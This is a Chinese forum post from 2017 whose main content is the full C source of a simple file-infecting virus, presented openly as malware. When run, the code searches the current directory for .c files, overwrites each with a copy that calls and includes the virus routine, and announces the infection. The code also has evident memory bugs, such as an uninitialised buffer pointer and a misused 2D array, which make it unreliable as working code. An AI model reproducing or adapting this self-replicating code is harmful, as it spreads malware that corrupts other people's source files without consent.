应天论坛

 找回密码
 参与我们

QQ登录

只需一步,快速开始

搜索
查看: 854|回复: 0

C语言病毒 造成电脑卡死或死机

[复制链接]

68

主题

72

帖子

451

积分

少校

勘查大队长

Rank: 6Rank: 6

积分
451
发表于 2017-5-2 02:28:21 | 显示全部楼层 |阅读模式
C语言病毒 造成电脑卡死或死机

[mw_shl_code=c,true]#include <stdio.h>
#include <dir.h>
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",&ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
        if(i>=50)
        {
fclose(in);
goto next;
        }
        p=fgets(buf,80,in);
        i++;
        }while(p!=NULL);
        fclose(in);
        out=fopen(ffblk.ff_name,"w+t");
        fputs("#include<stdio.h>\n",out);
        fputs("#include<dir.h>\n",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
        for(;j<i-1;j++)
        if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)
        fputs(buf[j],out);
        else
        {
        if(flag==0)
        {
flag=1;
fputs("virus();\n",out);
        }
        fputs(buf[j],out);
        }
}
else if((strstr(buf[j],include[0])==NULL)
&&(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(j<i-1);
read=fopen(virus,"rt");
do
{
p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
                fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
          fputs("\";\n",out);
}
p=fgets(buffer,80,read);
}
}while(p!=NULL);
fclose(read);
fclose(out);
          printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(&ffblk);
}
return 0;
}[/mw_shl_code]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 参与我们

本版积分规则

QQ|Archiver|手机版|小黑屋|应天社区 ( 湘ICP备17015224号 )

GMT+8, 2024-12-22 17:54 , Processed in 0.078125 second(s), 25 queries .

Powered by Discuz!

© 2001-2017 Comsenz Inc.


免责声明:
本站所发布的第三方软件及资源(包括但不仅限于文字/图片/音频/视频等仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑中彻底删除上述内容。如果您喜欢某程序或某个资源,请支持正版软件及版权方利益,注册或购买,得到更好的正版服务。如有侵权请邮件与我们联系处理。

Mail To: admin@yzqz.cn

快速回复 返回顶部 返回列表